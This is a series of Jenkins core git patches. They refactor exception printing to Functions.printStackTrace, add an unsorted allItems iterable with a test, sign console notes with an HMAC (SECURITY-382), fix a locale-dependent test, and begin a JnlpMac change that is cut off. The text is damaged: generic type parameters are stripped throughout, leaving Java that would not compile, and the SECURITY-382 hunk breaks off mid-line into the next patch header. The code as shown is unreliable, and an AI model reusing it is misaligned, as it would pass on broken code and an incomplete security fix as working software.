stderr.print(Functions.printThrowable(e)); // recover + Functions.printStackTrace(e, stderr); // recover } return Jenkins.ANONYMOUS; } diff --git a/core/src/main/java/hudson/cli/declarative/CLIRegisterer.java b/core/src/main/java/hudson/cli/declarative/CLIRegisterer.java index d0f5244f2e..2d17d1b29b 100644 --- a/core/src/main/java/hudson/cli/declarative/CLIRegisterer.java +++ b/core/src/main/java/hudson/cli/declarative/CLIRegisterer.java @@ -270,7 +270,7 @@ public class CLIRegisterer extends ExtensionFinder { stderr.println(""); stderr.println("ERROR: " + errorMsg); LOGGER.log(Level.WARNING, errorMsg, e); - stderr.print(Functions.printThrowable(e)); + Functions.printStackTrace(e, stderr); return 1; } } diff --git a/core/src/main/java/hudson/model/AbstractBuild.java b/core/src/main/java/hudson/model/AbstractBuild.java index 2d22548c76..a096635dfc 100644 --- a/core/src/main/java/hudson/model/AbstractBuild.java +++ b/core/src/main/java/hudson/model/AbstractBuild.java @@ -633,7 +633,7 @@ public abstract class AbstractBuild

                      ,R extends Abs throw (InterruptedException)new InterruptedException().initCause(e); } catch (IOException e) { // checkout error not yet reported - listener.getLogger().print(Functions.printThrowable(e)); + Functions.printStackTrace(e, listener.getLogger()); } if (retryCount == 0) // all attempts failed @@ -749,7 +749,7 @@ public abstract class AbstractBuild

                      ,R extends Abs listener.error("Step ‘" + buildStep + "’ failed: " + e.getMessage()); } else { String msg = "Step ‘" + buildStep + "’ aborted due to exception: "; - listener.error(msg).print(Functions.printThrowable(e)); + Functions.printStackTrace(e, listener.error(msg)); LOGGER.log(WARNING, msg, e); } @@ -784,7 +784,7 @@ public abstract class AbstractBuild

                      ,R extends Abs // Channel is closed, do not continue reportBrokenChannel(listener); } catch (RuntimeException ex) { - listener.error("Build step failed with exception").print(Functions.printThrowable(ex)); + Functions.printStackTrace(ex, listener.error("Build step failed with exception")); } for (BuildStepListener bsl : BuildStepListener.all()) { diff --git a/core/src/main/java/hudson/model/AbstractProject.java b/core/src/main/java/hudson/model/AbstractProject.java index f00668a173..b3d9413635 100644 --- a/core/src/main/java/hudson/model/AbstractProject.java +++ b/core/src/main/java/hudson/model/AbstractProject.java @@ -1370,11 +1370,11 @@ public abstract class AbstractProject

                      ,R extends A SCMPollListener.firePollingFailed(this, listener,e); return NO_CHANGES; } catch (IOException e) { - listener.fatalError(e.getMessage()).print(Functions.printThrowable(e)); + Functions.printStackTrace(e, listener.fatalError(e.getMessage())); SCMPollListener.firePollingFailed(this, listener,e); return NO_CHANGES; } catch (InterruptedException e) { - listener.fatalError(Messages.AbstractProject_PollingABorted()).print(Functions.printThrowable(e)); + Functions.printStackTrace(e, listener.fatalError(Messages.AbstractProject_PollingABorted())); SCMPollListener.firePollingFailed(this, listener,e); return NO_CHANGES; } catch (RuntimeException e) { diff --git a/core/src/main/java/hudson/model/AsyncAperiodicWork.java b/core/src/main/java/hudson/model/AsyncAperiodicWork.java index 02c108bb65..1d295fa716 100644 --- a/core/src/main/java/hudson/model/AsyncAperiodicWork.java +++ b/core/src/main/java/hudson/model/AsyncAperiodicWork.java @@ -120,9 +120,9 @@ public abstract class AsyncAperiodicWork extends AperiodicWork { execute(l); } catch (IOException e) { - l.fatalError(e.getMessage()).print(Functions.printThrowable(e)); + Functions.printStackTrace(e, l.fatalError(e.getMessage())); } catch (InterruptedException e) { - l.fatalError("aborted").print(Functions.printThrowable(e)); + Functions.printStackTrace(e, l.fatalError("aborted")); } finally { stopTime = System.currentTimeMillis(); try { diff --git a/core/src/main/java/hudson/model/AsyncPeriodicWork.java b/core/src/main/java/hudson/model/AsyncPeriodicWork.java index 383786c8cb..f3ffcc6497 100644 --- a/core/src/main/java/hudson/model/AsyncPeriodicWork.java +++ b/core/src/main/java/hudson/model/AsyncPeriodicWork.java @@ -100,9 +100,9 @@ public abstract class AsyncPeriodicWork extends PeriodicWork { execute(l); } catch (IOException e) { - l.fatalError(e.getMessage()).print(Functions.printThrowable(e)); + Functions.printStackTrace(e, l.fatalError(e.getMessage())); } catch (InterruptedException e) { - l.fatalError("aborted").print(Functions.printThrowable(e)); + Functions.printStackTrace(e, l.fatalError("aborted")); } finally { stopTime = System.currentTimeMillis(); try { diff --git a/core/src/main/java/hudson/model/Build.java b/core/src/main/java/hudson/model/Build.java index 3a8fd35e73..2b8b764931 100644 --- a/core/src/main/java/hudson/model/Build.java +++ b/core/src/main/java/hudson/model/Build.java @@ -196,7 +196,7 @@ public abstract class Build

                      ,B extends Build> performAllBuildSteps(listener, project.getPublishersList(), false); performAllBuildSteps(listener, project.getProperties(), false); } catch (Exception x) { - listener.error(Messages.Build_post_build_steps_failed()).print(Functions.printThrowable(x)); + Functions.printStackTrace(x, listener.error(Messages.Build_post_build_steps_failed())); } super.cleanUp(listener); } diff --git a/core/src/main/java/hudson/model/Executor.java b/core/src/main/java/hudson/model/Executor.java index a42b723dba..83345726be 100644 --- a/core/src/main/java/hudson/model/Executor.java +++ b/core/src/main/java/hudson/model/Executor.java @@ -290,7 +290,7 @@ public class Executor extends Thread implements ModelObject { } else { pw.println("Termination trace follows:"); for (Computer.TerminationRequest request : owner.getTerminatedBy()) { - pw.print(Functions.printThrowable(request)); + Functions.printStackTrace(request, pw); } } } diff --git a/core/src/main/java/hudson/model/FingerprintCleanupThread.java b/core/src/main/java/hudson/model/FingerprintCleanupThread.java index fffd8db483..59187a3a40 100644 --- a/core/src/main/java/hudson/model/FingerprintCleanupThread.java +++ b/core/src/main/java/hudson/model/FingerprintCleanupThread.java @@ -114,7 +114,7 @@ public final class FingerprintCleanupThread extends AsyncPeriodicWork { return fp.trim(); } } catch (IOException e) { - listener.error("Failed to process " + fingerprintFile).print(Functions.printThrowable(e)); + Functions.printStackTrace(e, listener.error("Failed to process " + fingerprintFile)); return false; } } diff --git a/core/src/main/java/hudson/model/Run.java b/core/src/main/java/hudson/model/Run.java index 81fb8a07fa..eb0f7a63b1 100644 --- a/core/src/main/java/hudson/model/Run.java +++ b/core/src/main/java/hudson/model/Run.java @@ -1864,7 +1864,7 @@ public abstract class Run ,RunT extends Run, ExtensionPoint { createEmptyChangeLog(changelogFile, (TaskListener) listener, rootTag); return true; } catch (IOException e) { - listener.error(e.getMessage()).print(Functions.printThrowable(e)); + Functions.printStackTrace(e, listener.error(e.getMessage())); return false; } } diff --git a/core/src/main/java/hudson/slaves/CommandLauncher.java b/core/src/main/java/hudson/slaves/CommandLauncher.java index 1a152e55a9..4f7c075a06 100644 --- a/core/src/main/java/hudson/slaves/CommandLauncher.java +++ b/core/src/main/java/hudson/slaves/CommandLauncher.java @@ -144,11 +144,11 @@ public class CommandLauncher extends ComputerLauncher { LOGGER.info("agent launched for " + computer.getDisplayName()); } catch (InterruptedException e) { - listener.error(Messages.ComputerLauncher_abortedLaunch()).print(Functions.printThrowable(e)); + Functions.printStackTrace(e, listener.error(Messages.ComputerLauncher_abortedLaunch())); } catch (RuntimeException e) { - listener.error(Messages.ComputerLauncher_unexpectedError()).print(Functions.printThrowable(e)); + Functions.printStackTrace(e, listener.error(Messages.ComputerLauncher_unexpectedError())); } catch (Error e) { - listener.error(Messages.ComputerLauncher_unexpectedError()).print(Functions.printThrowable(e)); + Functions.printStackTrace(e, listener.error(Messages.ComputerLauncher_unexpectedError())); } catch (IOException e) { Util.displayIOException(e, listener); @@ -160,14 +160,14 @@ public class CommandLauncher extends ComputerLauncher { } msg = hudson.model.Messages.Slave_UnableToLaunch(computer.getDisplayName(), msg); LOGGER.log(Level.SEVERE, msg, e); - listener.error(msg).print(Functions.printThrowable(e)); + Functions.printStackTrace(e, listener.error(msg)); if(_proc!=null) { reportProcessTerminated(_proc, listener); try { ProcessTree.get().killAll(_proc, _cookie); } catch (InterruptedException x) { - listener.error(Messages.ComputerLauncher_abortedLaunch()).print(Functions.printThrowable(x)); + Functions.printStackTrace(x, listener.error(Messages.ComputerLauncher_abortedLaunch())); } } } diff --git a/core/src/main/java/hudson/slaves/SlaveComputer.java b/core/src/main/java/hudson/slaves/SlaveComputer.java index 57662bc18b..36bd1478cb 100644 --- a/core/src/main/java/hudson/slaves/SlaveComputer.java +++ b/core/src/main/java/hudson/slaves/SlaveComputer.java @@ -265,13 +265,13 @@ public class SlaveComputer extends Computer { throw e; } catch (IOException e) { Util.displayIOException(e,taskListener); - taskListener.error(Messages.ComputerLauncher_unexpectedError()).print(Functions.printThrowable(e)); + Functions.printStackTrace(e, taskListener.error(Messages.ComputerLauncher_unexpectedError())); throw e; } catch (InterruptedException e) { - taskListener.error(Messages.ComputerLauncher_abortedLaunch()).print(Functions.printThrowable(e)); + Functions.printStackTrace(e, taskListener.error(Messages.ComputerLauncher_abortedLaunch())); throw e; } catch (Exception e) { - taskListener.error(Messages.ComputerLauncher_unexpectedError()).print(Functions.printThrowable(e)); + Functions.printStackTrace(e, taskListener.error(Messages.ComputerLauncher_unexpectedError())); throw e; } } finally { @@ -495,7 +495,7 @@ public class SlaveComputer extends Computer { // Orderly shutdown will have null exception if (cause!=null) { offlineCause = new ChannelTermination(cause); - taskListener.error("Connection terminated").print(Functions.printThrowable(cause)); + Functions.printStackTrace(cause, taskListener.error("Connection terminated")); } else { taskListener.getLogger().println("Connection terminated"); } diff --git a/core/src/main/java/hudson/tasks/ArtifactArchiver.java b/core/src/main/java/hudson/tasks/ArtifactArchiver.java index 2b8f3d4865..407dadaa39 100644 --- a/core/src/main/java/hudson/tasks/ArtifactArchiver.java +++ b/core/src/main/java/hudson/tasks/ArtifactArchiver.java @@ -263,7 +263,7 @@ public class ArtifactArchiver extends Recorder implements SimpleBuildStep { } } catch (IOException e) { Util.displayIOException(e,listener); - listener.error(Messages.ArtifactArchiver_FailedToArchive(artifacts)).print(Functions.printThrowable(e)); + Functions.printStackTrace(e, listener.error(Messages.ArtifactArchiver_FailedToArchive(artifacts))); build.setResult(Result.FAILURE); return; } diff --git a/core/src/main/java/hudson/tasks/CommandInterpreter.java b/core/src/main/java/hudson/tasks/CommandInterpreter.java index 5170aff8e8..3056b71cde 100644 --- a/core/src/main/java/hudson/tasks/CommandInterpreter.java +++ b/core/src/main/java/hudson/tasks/CommandInterpreter.java @@ -94,7 +94,7 @@ public abstract class CommandInterpreter extends Builder { script = createScriptFile(ws); } catch (IOException e) { Util.displayIOException(e,listener); - listener.fatalError(Messages.CommandInterpreter_UnableToProduceScript()).print(Functions.printThrowable(e)); + Functions.printStackTrace(e, listener.fatalError(Messages.CommandInterpreter_UnableToProduceScript())); return false; } @@ -114,7 +114,7 @@ public abstract class CommandInterpreter extends Builder { } } catch (IOException e) { Util.displayIOException(e, listener); - listener.fatalError(Messages.CommandInterpreter_CommandFailed()).print(Functions.printThrowable(e)); + Functions.printStackTrace(e, listener.fatalError(Messages.CommandInterpreter_CommandFailed())); } return r==0; } finally { @@ -133,10 +133,10 @@ public abstract class CommandInterpreter extends Builder { LOGGER.log(Level.FINE, "Script deletion failed", e); } else { Util.displayIOException(e,listener); - listener.fatalError(Messages.CommandInterpreter_UnableToDelete(script)).print(Functions.printThrowable(e)); + Functions.printStackTrace(e, listener.fatalError(Messages.CommandInterpreter_UnableToDelete(script))); } } catch (Exception e) { - listener.fatalError(Messages.CommandInterpreter_UnableToDelete(script)).print(Functions.printThrowable(e)); + Functions.printStackTrace(e, listener.fatalError(Messages.CommandInterpreter_UnableToDelete(script))); } } } diff --git a/core/src/main/java/hudson/tasks/Fingerprinter.java b/core/src/main/java/hudson/tasks/Fingerprinter.java index beda443bf3..fb45ef9cc2 100644 --- a/core/src/main/java/hudson/tasks/Fingerprinter.java +++ b/core/src/main/java/hudson/tasks/Fingerprinter.java @@ -138,7 +138,7 @@ public class Fingerprinter extends Recorder implements Serializable, DependencyD Jenkins.getInstance().rebuildDependencyGraphAsync(); } } catch (IOException e) { - listener.error(Messages.Fingerprinter_Failed()).print(Functions.printThrowable(e)); + Functions.printStackTrace(e, listener.error(Messages.Fingerprinter_Failed())); build.setResult(Result.FAILURE); } diff --git a/core/src/main/java/hudson/tasks/Maven.java b/core/src/main/java/hudson/tasks/Maven.java index 4939ea7044..4e8b4f4eed 100644 --- a/core/src/main/java/hudson/tasks/Maven.java +++ b/core/src/main/java/hudson/tasks/Maven.java @@ -366,7 +366,7 @@ public class Maven extends Builder { } } catch (IOException e) { Util.displayIOException(e,listener); - listener.fatalError(Messages.Maven_ExecFailed()).print(Functions.printThrowable(e)); + Functions.printStackTrace(e, listener.fatalError(Messages.Maven_ExecFailed())); return false; } startIndex = endIndex + 1; diff --git a/core/src/main/java/hudson/triggers/SCMTrigger.java b/core/src/main/java/hudson/triggers/SCMTrigger.java index d3c7074eb6..7a8afe26b2 100644 --- a/core/src/main/java/hudson/triggers/SCMTrigger.java +++ b/core/src/main/java/hudson/triggers/SCMTrigger.java @@ -569,7 +569,7 @@ public class SCMTrigger extends Trigger { logger.println("No changes"); return result; } catch (Error | RuntimeException e) { - listener.error("Failed to record SCM polling for " + job).print(Functions.printThrowable(e)); + Functions.printStackTrace(e, listener.error("Failed to record SCM polling for " + job)); LOGGER.log(Level.SEVERE,"Failed to record SCM polling for "+job,e); throw e; } finally { diff --git a/core/src/main/java/hudson/util/RemotingDiagnostics.java b/core/src/main/java/hudson/util/RemotingDiagnostics.java index 02184c3397..d38fa7170e 100644 --- a/core/src/main/java/hudson/util/RemotingDiagnostics.java +++ b/core/src/main/java/hudson/util/RemotingDiagnostics.java @@ -143,7 +143,7 @@ public final class RemotingDiagnostics { if(output!=null) pw.println("Result: "+output); } catch (Throwable t) { - pw.print(Functions.printThrowable(t)); + Functions.printStackTrace(t, pw); } return out.toString(); } diff --git a/core/src/main/java/hudson/util/SecretRewriter.java b/core/src/main/java/hudson/util/SecretRewriter.java index 08bf646c67..565aca7fcd 100644 --- a/core/src/main/java/hudson/util/SecretRewriter.java +++ b/core/src/main/java/hudson/util/SecretRewriter.java @@ -170,7 +170,7 @@ public class SecretRewriter { rewritten++; } } catch (IOException e) { - listener.error("Failed to rewrite " + child).print(Functions.printThrowable(e)); + Functions.printStackTrace(e, listener.error("Failed to rewrite " + child)); } } if (child.isDirectory()) { diff --git a/core/src/main/java/jenkins/management/AsynchronousAdministrativeMonitor.java b/core/src/main/java/jenkins/management/AsynchronousAdministrativeMonitor.java index 47a682cd98..4e621ab53b 100644 --- a/core/src/main/java/jenkins/management/AsynchronousAdministrativeMonitor.java +++ b/core/src/main/java/jenkins/management/AsynchronousAdministrativeMonitor.java @@ -126,7 +126,7 @@ public abstract class AsynchronousAdministrativeMonitor extends AdministrativeMo } catch (AbortException e) { listener.error(e.getMessage()); } catch (Throwable e) { - listener.error(getName() + " failed").print(Functions.printThrowable(e)); + Functions.printStackTrace(e, listener.error(getName() + " failed")); LOGGER.log(Level.WARNING, getName() + " failed", e); } } diff --git a/core/src/main/java/jenkins/security/RekeySecretAdminMonitor.java b/core/src/main/java/jenkins/security/RekeySecretAdminMonitor.java index c486193c9c..684849b308 100644 --- a/core/src/main/java/jenkins/security/RekeySecretAdminMonitor.java +++ b/core/src/main/java/jenkins/security/RekeySecretAdminMonitor.java @@ -153,7 +153,7 @@ public class RekeySecretAdminMonitor extends AsynchronousAdministrativeMonitor i LOGGER.info("Secret re-keying completed"); } catch (Exception e) { LOGGER.log(Level.SEVERE, "Fatal failure in re-keying secrets",e); - listener.error("Fatal failure in rewriting secrets").print(Functions.printThrowable(e)); + Functions.printStackTrace(e, listener.error("Fatal failure in rewriting secrets")); } } diff --git a/core/src/main/java/jenkins/slaves/DefaultJnlpSlaveReceiver.java b/core/src/main/java/jenkins/slaves/DefaultJnlpSlaveReceiver.java index 3b7cdd2ba0..686ed005e3 100644 --- a/core/src/main/java/jenkins/slaves/DefaultJnlpSlaveReceiver.java +++ b/core/src/main/java/jenkins/slaves/DefaultJnlpSlaveReceiver.java @@ -172,7 +172,7 @@ public class DefaultJnlpSlaveReceiver extends JnlpAgentReceiver { computer.setChannel(event.getChannel(), state.getLog(), null); } catch (IOException | InterruptedException e) { PrintWriter logw = new PrintWriter(state.getLog(), true); - logw.print(Functions.printThrowable(e)); + Functions.printStackTrace(e, logw); IOUtils.closeQuietly(event.getChannel()); } } diff --git a/core/src/main/java/jenkins/slaves/restarter/JnlpSlaveRestarterInstaller.java b/core/src/main/java/jenkins/slaves/restarter/JnlpSlaveRestarterInstaller.java index d271a37913..1eb68dcc6f 100644 --- a/core/src/main/java/jenkins/slaves/restarter/JnlpSlaveRestarterInstaller.java +++ b/core/src/main/java/jenkins/slaves/restarter/JnlpSlaveRestarterInstaller.java @@ -94,7 +94,7 @@ public class JnlpSlaveRestarterInstaller extends ComputerListener implements Ser LOGGER.log(FINE, "Effective SlaveRestarter on {0}: {1}", new Object[] {c.getName(), effective}); } catch (Throwable e) { - listener.error("Failed to install restarter").print(Functions.printThrowable(e)); + Functions.printStackTrace(e, listener.error("Failed to install restarter")); } } diff --git a/core/src/main/resources/META-INF/upgrade/Functions.hint b/core/src/main/resources/META-INF/upgrade/Functions.hint index c2316aef02..149d172c4b 100644 --- a/core/src/main/resources/META-INF/upgrade/Functions.hint +++ b/core/src/main/resources/META-INF/upgrade/Functions.hint @@ -1,2 +1,2 @@ -$t.printStackTrace($s) :: $s instance java.io.PrintStream && $t instanceof Throwable => $s.print(hudson.Functions.printThrowable($t));; -$t.printStackTrace($s) :: $s instance java.io.PrintWriter && $t instanceof Throwable => $s.print(hudson.Functions.printThrowable($t));; +$t.printStackTrace($s) :: $s instance java.io.PrintStream && $t instanceof Throwable => hudson.Functions.printStackTrace($t, $s);; +$t.printStackTrace($s) :: $s instance java.io.PrintWriter && $t instanceof Throwable => hudson.Functions.printStackTrace($t, $s);; -- GitLab From cf0fea0c1f1dfca2530a0787384ddaf762b1e713 Mon Sep 17 00:00:00 2001 From: Stephen Connolly Date: Wed, 14 Dec 2016 20:23:51 +0000 Subject: [PATCH 413/712] [FIXED JENKINS-40252] Add an Iterable that returns all items unsorted --- core/src/main/java/hudson/model/Items.java | 155 +++++++++++++++++- .../src/test/java/hudson/model/ItemsTest.java | 27 +++ 2 files changed, 177 insertions(+), 5 deletions(-) diff --git a/core/src/main/java/hudson/model/Items.java b/core/src/main/java/hudson/model/Items.java index 0b457293ab..66108998a2 100644 --- a/core/src/main/java/hudson/model/Items.java +++ b/core/src/main/java/hudson/model/Items.java @@ -30,29 +30,30 @@ import hudson.XmlFile; import hudson.model.listeners.ItemListener; import hudson.remoting.Callable; import hudson.security.ACL; +import hudson.security.ACLContext; import hudson.security.AccessControlled; import hudson.triggers.Trigger; import hudson.util.DescriptorList; import hudson.util.EditDistance; import hudson.util.XStream2; -import jenkins.model.Jenkins; -import org.acegisecurity.Authentication; -import org.apache.commons.lang.StringUtils; - import java.io.File; import java.io.IOException; import java.util.ArrayList; import java.util.Collection; import java.util.Collections; import java.util.Comparator; +import java.util.Iterator; import java.util.List; +import java.util.NoSuchElementException; import java.util.Stack; import java.util.StringTokenizer; import javax.annotation.CheckForNull; import javax.annotation.Nonnull; - import jenkins.model.DirectlyModifiableTopLevelItemGroup; +import jenkins.model.Jenkins; +import org.acegisecurity.Authentication; import org.apache.commons.io.FileUtils; +import org.apache.commons.lang.StringUtils; /** * Convenience methods related to {@link Item}. @@ -385,6 +386,35 @@ public class Items { } } + /** + * Gets all the {@link Item}s recursively in the {@link ItemGroup} tree visible to + * {@link Jenkins#getAuthentication()} without concern for the order in which items are returned. + * + * @param root the root. + * @param type the type. + * @param the type. + * @return An {@link Iterable} for all items. + * @since FIXME + */ + public static Iterable allItems(ItemGroup root, Class type) { + return allItems(Jenkins.getAuthentication(), root, type); + } + + + /** + * Gets all the {@link Item}s recursively in the {@link ItemGroup} tree visible to the supplied authentication + * without concern for the order in which items are returned. + * + * @param root the root. + * @param type the type. + * @param the type. + * @return An {@link Iterable} for all items. + * @since FIXME + */ + public static Iterable allItems(Authentication authentication, ItemGroup root, Class type) { + return new AllItemsIterable<>(root, authentication, type); + } + /** * Finds an item whose name (when referenced from the specified context) is closest to the given name. * @param the type of item being considered @@ -440,6 +470,121 @@ public class Items { return newItem; } + private static class AllItemsIterable implements Iterable { + + /** + * The authentication we are iterating as. + */ + private final Authentication authentication; + /** + * The root we are iterating from. + */ + private final ItemGroup root; + /** + * The type of item we want to return. + */ + private final Class type; + + private AllItemsIterable(ItemGroup root, Authentication authentication, Class type) { + this.root = root; + this.authentication = authentication; + this.type = type; + } + + /** + * {@inheritDoc} + */ + @Override + public Iterator iterator() { + return new AllItemsIterator(); + } + + private class AllItemsIterator implements Iterator { + + /** + * The stack of {@link ItemGroup}s that we have left to descend into. + */ + private final Stack stack = new Stack<>(); + /** + * The iterator of the current {@link ItemGroup} we + */ + private Iterator delegate = null; + /** + * The next item. + */ + private T next = null; + + private AllItemsIterator() { + // put on the stack so that hasNext() is the only place that has to worry about authentication + // alternative would be to impersonate and populate delegate. + stack.push(root); + } + + /** + * {@inheritDoc} + */ + @Override + public void remove() { + throw new UnsupportedOperationException(); + } + + /** + * {@inheritDoc} + */ + @Override + public boolean hasNext() { + if (next != null) { + return true; + } + while (true) { + if (delegate == null || !delegate.hasNext()) { + if (stack.isEmpty()) { + return false; + } + ItemGroup group = stack.pop(); + // group.getItems() is responsible for performing the permission check so we will not repeat it + if (Jenkins.getAuthentication() == authentication) { + delegate = group.getItems().iterator(); + } else { + // slower path because the caller has switched authentication + // we need to keep the original authentication so that allItems() can be used + // like getAllItems() without the cost of building the entire list up front + try (ACLContext ctx = ACL.as(authentication)) { + delegate = group.getItems().iterator(); + } + } + } + while (delegate.hasNext()) { + Item item = delegate.next(); + if (item instanceof ItemGroup) { + stack.push((ItemGroup) item); + } + if (type.isInstance(item)) { + next = type.cast(item); + return true; + } + } + } + } + + /** + * {@inheritDoc} + */ + @Override + public T next() { + if (!hasNext()) { + throw new NoSuchElementException(); + } + try { + return next; + } finally { + next = null; + } + } + + } + } + /** * Used to load/save job configuration. * diff --git a/test/src/test/java/hudson/model/ItemsTest.java b/test/src/test/java/hudson/model/ItemsTest.java index 59e168b4e6..e3defc19a2 100644 --- a/test/src/test/java/hudson/model/ItemsTest.java +++ b/test/src/test/java/hudson/model/ItemsTest.java @@ -28,6 +28,8 @@ import java.io.File; import java.util.Arrays; import org.junit.Test; + +import static org.hamcrest.Matchers.containsInAnyOrder; import static org.junit.Assert.*; import org.junit.Rule; import org.junit.rules.TemporaryFolder; @@ -61,6 +63,31 @@ public class ItemsTest { assertEquals(Arrays.asList(sub2a, sub2ap, sub2alpha, sub2b, sub2bp, sub2BRAVO, sub2c, sub2cp, sub2charlie), Items.getAllItems(sub2, Item.class)); } + @Issue("JENKINS-40252") + @Test + public void allItems() throws Exception { + MockFolder d = r.createFolder("d"); + MockFolder sub2 = d.createProject(MockFolder.class, "sub2"); + MockFolder sub2a = sub2.createProject(MockFolder.class, "a"); + MockFolder sub2c = sub2.createProject(MockFolder.class, "c"); + MockFolder sub2b = sub2.createProject(MockFolder.class, "b"); + MockFolder sub1 = d.createProject(MockFolder.class, "sub1"); + FreeStyleProject root = r.createFreeStyleProject("root"); + FreeStyleProject dp = d.createProject(FreeStyleProject.class, "p"); + FreeStyleProject sub1q = sub1.createProject(FreeStyleProject.class, "q"); + FreeStyleProject sub1p = sub1.createProject(FreeStyleProject.class, "p"); + FreeStyleProject sub2ap = sub2a.createProject(FreeStyleProject.class, "p"); + FreeStyleProject sub2bp = sub2b.createProject(FreeStyleProject.class, "p"); + FreeStyleProject sub2cp = sub2c.createProject(FreeStyleProject.class, "p"); + FreeStyleProject sub2alpha = sub2.createProject(FreeStyleProject.class, "alpha"); + FreeStyleProject sub2BRAVO = sub2.createProject(FreeStyleProject.class, "BRAVO"); + FreeStyleProject sub2charlie = sub2.createProject(FreeStyleProject.class, "charlie"); + assertThat(Items.allItems(d, FreeStyleProject.class), containsInAnyOrder(dp, sub1p, sub1q, sub2ap, sub2alpha, + sub2bp, sub2BRAVO, sub2cp, sub2charlie)); + assertThat(Items.allItems(sub2, Item.class), containsInAnyOrder((Item)sub2a, sub2ap, sub2alpha, sub2b, sub2bp, + sub2BRAVO, sub2c, sub2cp, sub2charlie)); + } + @Issue("JENKINS-24825") @Test public void moveItem() throws Exception { File tmp = tmpRule.getRoot(); -- GitLab From f72bcaca0dd14312092a0bcbdd8e4792d6e56d44 Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Wed, 14 Dec 2016 17:45:35 -0500 Subject: [PATCH 414/712] [SECURITY-382] Sign console notes with a MAC. --- .../main/java/hudson/console/ConsoleNote.java | 16 ++++++++++++++++ 1 file changed, 16 insertions(+) diff --git a/core/src/main/java/hudson/console/ConsoleNote.java b/core/src/main/java/hudson/console/ConsoleNote.java index c27fec6364..3e8767ad22 100644 --- a/core/src/main/java/hudson/console/ConsoleNote.java +++ b/core/src/main/java/hudson/console/ConsoleNote.java @@ -51,6 +51,7 @@ import java.util.Collection; import java.util.List; import com.jcraft.jzlib.GZIPInputStream; import com.jcraft.jzlib.GZIPOutputStream; +import jenkins.security.HMACConfidentialKey; /** * Data that hangs off from a console output. @@ -121,6 +122,9 @@ import com.jcraft.jzlib.GZIPOutputStream; * @since 1.349 */ public abstract class ConsoleNote implements Serializable, Describable>, ExtensionPoint { + + private static final HMACConfidentialKey MAC = new HMACConfidentialKey(ConsoleNote.class, "MAC"); + /** * When the line of a console output that this annotation is attached is read by someone, * a new {@link ConsoleNote} is de-serialized and this method is invoked to annotate that line. @@ -182,6 +186,9 @@ public abstract class ConsoleNote implements Serializable, Describable implements Serializable, Describable Date: Thu, 15 Dec 2016 08:25:23 +0100 Subject: [PATCH 415/712] [FIX JENKINS-40053]: Use english as default-locale ResourceBundleUtilTest#test_unknown_locale (#2650) * [FIX JENKINS-40053]: Use english as default-locale, so the ResourceBundleUtilTest runs also on systems with other default os locales. * [FIX JENKINS-40053]: Cleanup Locale after test to avoid impact on other tests. * [FIX JENKINS-40053]: Use english as default-locale only in the required test method. * [FIX JENKINS-40053]: Cleanup unused imports. --- .../java/jenkins/util/ResourceBundleUtilTest.java | 11 +++++++++-- 1 file changed, 9 insertions(+), 2 deletions(-) diff --git a/core/src/test/java/jenkins/util/ResourceBundleUtilTest.java b/core/src/test/java/jenkins/util/ResourceBundleUtilTest.java index 1e8c24b569..137bffb09b 100644 --- a/core/src/test/java/jenkins/util/ResourceBundleUtilTest.java +++ b/core/src/test/java/jenkins/util/ResourceBundleUtilTest.java @@ -54,9 +54,16 @@ public class ResourceBundleUtilTest { */ @Test public void test_unknown_locale() { - JSONObject bundle = ResourceBundleUtil.getBundle("hudson.logging.Messages", new Locale("kok")); // konkani - Assert.assertEquals("Initialing log recorders", bundle.getString("LogRecorderManager.init")); + Locale defaultOSLocale = Locale.getDefault(); + try { + //Set Default-Locale to english + Locale.setDefault(new Locale("en", "US")); + JSONObject bundle = ResourceBundleUtil.getBundle("hudson.logging.Messages", new Locale("kok")); // konkani + Assert.assertEquals("Initialing log recorders", bundle.getString("LogRecorderManager.init")); + }finally{ + Locale.setDefault(defaultOSLocale); + } } /** -- GitLab From 52ea389a5e82fa837c9a9db8043061cc94383272 Mon Sep 17 00:00:00 2001 From: Stephen Connolly Date: Thu, 15 Dec 2016 10:25:04 +0000 Subject: [PATCH 416/712] [JENKINS-40252] Address code review comments --- core/src/main/java/hudson/model/Items.java | 23 ++++++++++++++++------ 1 file changed, 17 insertions(+), 6 deletions(-) diff --git a/core/src/main/java/hudson/model/Items.java b/core/src/main/java/hudson/model/Items.java index 66108998a2..0ddc6e800c 100644 --- a/core/src/main/java/hudson/model/Items.java +++ b/core/src/main/java/hudson/model/Items.java @@ -351,7 +351,12 @@ public class Items { /** * Gets all the {@link Item}s recursively in the {@link ItemGroup} tree - * and filter them by the given type. + * and filter them by the given type. The returned list will represent a snapshot view of the items present at some + * time during the call. If items are moved during the call, depending on the move, it may be possible for some + * items to escape the snapshot entirely. + *

                      + * If you do not need to iterate all items, or if the order of the items is not required, consider using + * {@link #allItems(ItemGroup, Class)} instead. * * @since 1.512 */ @@ -387,8 +392,11 @@ public class Items { } /** - * Gets all the {@link Item}s recursively in the {@link ItemGroup} tree visible to - * {@link Jenkins#getAuthentication()} without concern for the order in which items are returned. + * Gets a read-only view of all the {@link Item}s recursively in the {@link ItemGroup} tree visible to + * {@link Jenkins#getAuthentication()} without concern for the order in which items are returned. Each iteration + * of the view will be "live" reflecting the items available between the time the iteration was started and the + * time the iteration was completed, however if items are moved during an iteration - depending on the move - it + * may be possible for such items to escape the entire iteration. * * @param root the root. * @param type the type. @@ -402,8 +410,11 @@ public class Items { /** - * Gets all the {@link Item}s recursively in the {@link ItemGroup} tree visible to the supplied authentication - * without concern for the order in which items are returned. + * Gets a read-only view all the {@link Item}s recursively in the {@link ItemGroup} tree visible to the supplied + * authentication without concern for the order in which items are returned. Each iteration + * of the view will be "live" reflecting the items available between the time the iteration was started and the + * time the iteration was completed, however if items are moved during an iteration - depending on the move - it + * may be possible for such items to escape the entire iteration. * * @param root the root. * @param type the type. @@ -506,7 +517,7 @@ public class Items { */ private final Stack stack = new Stack<>(); /** - * The iterator of the current {@link ItemGroup} we + * The iterator of the current {@link ItemGroup} we are iterating. */ private Iterator delegate = null; /** -- GitLab From 37806a53c87855cbdd9eda073600ad828ec6f5c0 Mon Sep 17 00:00:00 2001 From: kbrowder Date: Thu, 15 Dec 2016 05:31:29 -0500 Subject: [PATCH 417/712] [FIXED JENKINS-40286] - Delegate JnlpMac computation to SlaveComputers if possible (#2658) [FIXED JENKINS-40286] - Delegate JnlpMac computation to SlaveComputers if possible --- .../slaves/EncryptedSlaveAgentJnlpFile.java | 17 +++++++++++++---- 1 file changed, 13 insertions(+), 4 deletions(-) diff --git a/core/src/main/java/jenkins/slaves/EncryptedSlaveAgentJnlpFile.java 